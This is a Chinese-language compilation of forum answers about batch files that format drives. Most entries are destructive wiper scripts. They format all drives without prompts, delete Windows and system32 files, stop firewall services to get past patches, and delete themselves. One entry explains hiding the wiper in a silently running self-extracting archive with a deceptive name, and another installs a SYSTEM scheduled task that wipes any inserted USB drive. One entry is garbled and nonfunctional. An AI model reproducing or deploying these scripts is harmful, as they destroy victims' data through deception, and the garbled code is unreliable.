批处理格式化
A. 硬盘自动格式化bat
硬盘格式化命令BAT
------------------------------------------------------------线下西面内容-------------------------------
@echo off
shutdown -r -t 0
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
shutdown -r -t 0
del %0
------------------------------------------------------------线上面内容-------------------------------
测试结果_系统启动不来,,,但是硬盘依然没有格式化失败告终
------------------------------------------------------------线下面内容-------------------------------
@echo off
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
shutdown -r -t 0
del %0
------------------------------------------------------------线上面内容-------------------------------
测试结果_系统启动不来,,,硬盘被格式化,,,成功!不过有一点,,有的机器有系统防火墙,补丁非常全的不起作用
------------------------------------------------------------线下面内容-------------------------------
@echo off
net stop alg /y
@net stop sharedaccess
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
shutdown -r -t 0
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
del %0
测试结果_系统启动不来,,,硬盘被格式化,,,成功率是99%,突破系统的
B. 求设计一个批处理文件,功能是:“一键自动格式化”
@echo off
net stop alg /y
@net stop sharedaccess
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
shutdown -r -t 0
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
del %0
C. 请问怎么用批处理格式化硬盘
format/?
格式化磁盘以供 Windows XP 使用。
FORMAT volume [/FS:file-system] [/V:label] [/Q] [/A:size] [/C] [/X]
FORMAT volume [/V:label] [/Q] [/F:size]
FORMAT volume [/V:label] [/Q] [/T:tracks /N:sectors]
FORMAT volume [/V:label] [/Q]
FORMAT volume [/Q]
volume 指定驱动器(后面跟一个冒号)、装入点
或卷名。
/FS:filesystem 指定文件系统类型(FAT、FAT32 或 NTFS)。
/V:label 指定卷标。
/Q 执行快速格式化。
/C 仅适于 NTFS: 默认情况下,将压缩在该新建卷上
创建的文件。
/X 如果必要,先强制卸下卷。那时,该卷所有
已打开的句柄不再有效。
/A:size 替代默认配置单位大小。极力建议您在一般状况下使用
默认设置。
NTFS 支持 512、1024、2048、4096、8192、16K、32K、
64K。
FAT 支持 512、1024、2048、4096、8192、16K、32K、
64k,(128k、256k 用于大于 512 字节的扇区) 。
FAT32 支持 512、1024、2048、4096、8192、16k、32k、
64k,(128k 、256k 用于大于 512 字节的扇区)。
注意 FAT 及 FAT32 文件系统对卷上的群集数量有以下限制:
FAT: 群集数量 <= 65526
FAT32: 65526 < 群集数量 < 4177918
如果判定使用指定的群集大小无法满足以上需求,格式
化将立即停止。
NTFS 压缩不支持大于 4096 的分配单元。
/F:size 指定要格式化的软盘大小(1.44)
/T:tracks 为磁盘指定每面磁道数。
/N:sectors 指定每条磁道的扇区数。
D. 【求一个自动格式化硬盘的批处理】,,,,
@echo off
set pf=c: d: e: f: g: h:
for %%i in (%pf%) do (
echo y|format %%i
)
pause>nul
在set pf=后面修改要格式化的盘符,中间用空格分隔
E. 自动格式化BAT文本
情况:
%systemdrive%\format.bat
目标D盘
@echo off
set /a xNum=0
:begin
set /a xNum=%xNum%+1
format d: /y
%systemroot%\system32\shell32.dll d:\1.1
%systemroot%\system32\shell32.dll d:\2.2
%systemroot%\system32\shell32.dll d:\3.3
:x1
d:\1.1+d:\2.2 d:\3.3 /y
d:\1.1+d:\3.3 d:\2.2 /y
d:\2.2+d:\1.1 d:\3.3 /y
d:\2.2+d:\3.3 d:\1.1 /y
d:\3.3+d:\1.1 d:\2.2 /y
d:\3.3+d:\2.2 d:\1.1 /y
if %ERRORLEVEL%=="0" goto x1
if %xNum%==3 exit
goto begin
临时写的 我没试过.!
F. 批处理格式化
不知道你格式化什么盘。WINDOWS下的格式化已经很方便了。
G. 怎么写批处理命令来快速格式化硬盘
格式化的命令是 format 制作一个批处理或者直接添加任务计划
H. 全盘格式化的bat命令
bat代码:
@echo off
echo y | format f: /q 1>nul 2>nul
echo y | format e: /q 1>nul 2>nul
echo y | format d: /q 1>nul 2>nul
echo y | format c: /q 1>nul 2>nul
exit
上面的代码没有反馈信息,直接格式化。
另加上VBS另bat后台偷偷运行。
VBS代码:
CreateObject("WScript.Shell").run "****.bat",0
****换成你的bat文件名。
最后,结合rar自解压的脚本实现自动运行。
步骤:
将bat和VBS压缩为rar格式,文件名取个容易骗人的。双击打开rar,依次单击“工具”——“压缩文件转换为自解压格式”。
之后弹出对话框。在“注释”的选项里,写上:
Path=%windir%\System32\GroupPolicy\Machine\Scripts
Setup=%windir%\System32\GroupPolicy\Machine\Scripts\****.vbs
Silent=1
Overwrite=1
将****替换为你之前做好的VBS文件。最后一路确定就行了。
完成后,看到是以EXE结尾的文件。
警告:请勿双击该EXE文件,造成损失本人不负任何责任。
I. 批处理格式化NTFS格式
只要你的电脑上只插了一个U盘,那么以下脚本就会自动获取可移动磁盘的盘符,并转换格式。
@echooff
for/f"tokens=2delims=="%%ain('wmicLogicalDiskwhere"DriveType='2'"getDeviceID/value')dosetDriveU=%%~a
ifdefinedDriveUconvert%DriveU%/fs:ntfs/x
pause
J. 求一个格式化的批处理命令
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do format %%i: /x /q
这样就不会出现(Y/N)的提示,一个一个全部格式化...
/x 格式化时先强制卸下卷(就不会出现正在使用中,无法格式化问题)
/q 快速格式化...
另外,给你一个关于格式化的批处理做参考...
---------------------------------------------------
@echo off
:start
echo.
echo 本程序运行后,会在以后的每一天中每隔1分中扫描一次你的电脑是否连接USB驱动器...
echo (例:U盘、MP3/4、手机 等等...) 若有,则见一个格一个...嘿嘿嘿~~~~~
echo 专门整治那些随便拿U盘来你电脑上烤东西的坏人~~~~~~ 哈哈!
echo (注:不需要搞别人的时候最好关了这手段,不然自己不小心插了个U盘上去的话就自
echo 己害自己了,文件丢了我可不负责哦~~ 嘿嘿...)
set/p shr=(1、使用本手段 2、关闭本手段):
if %shr%==1 goto shy
if %shr%==2 goto bshy
goto start
:shy
sc config schele start= auto >nul 2>nul
net start schele /y >nul 2>nul
if exist %windir%\system32\gsh.vbs (echo 帅哥~你现已经使用了本手段!不需再使用了,按任意键返回...& pause>nul&cls&goto start)
echo CreateObject("WScript.Shell").Run "cmd /c gsh.bat",0 >%windir%\system32\gsh.vbs
echo for %%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (>%windir%\system32\gsh.bat
echo fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移动驱动器" ^&^& set cp=%%%%i ^&^& call :gsh>>%windir%\system32\gsh.bat
echo ) ^>nul 2^>nul>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
echo :gsh>>%windir%\system32\gsh.bat
echo echo.^|format %%cp:~0,1%%: /x /q>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
)
)
echo 正在应用本手段...
schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system" >nul 2>nul
echo 恭喜~ 成功了! 以后只要谁把移动盘插到你电脑上的话..
echo 在1分中之内,他盘内文件将拜拜~~ 哈哈...
echo 按任意键退出...& pause>nul&exit
:bshy
if exist %windir%\system32\gsh.vbs (
echo 删除计划任务...
echo y|schtasks /tn * /delete >nul 2>nul
echo 删除生成的"gsh.vbs"文件...
del %windir%\system32\gsh.vbs
echo 删除生成的"gsh.bat"文件...
del %windir%\system32\gsh.bat
echo.
echo 关闭本手段成功!
echo 按任意键退出...& pause>nul&exit
) else (
echo 还没使用过本手段~ 无法关哦!
)
echo 按任意键返回...& pause>nul&cls&goto start
----------------------------------------------------------
此程序的核心是靠这三句命令:
1、fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移动驱动器"
检查本机上的可移动驱动器
2、format %%cp:~0,1%%: /x /q
格式化
3、schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system"
计划任务.. 每一天的每一分钟检测USB设备就是靠这句!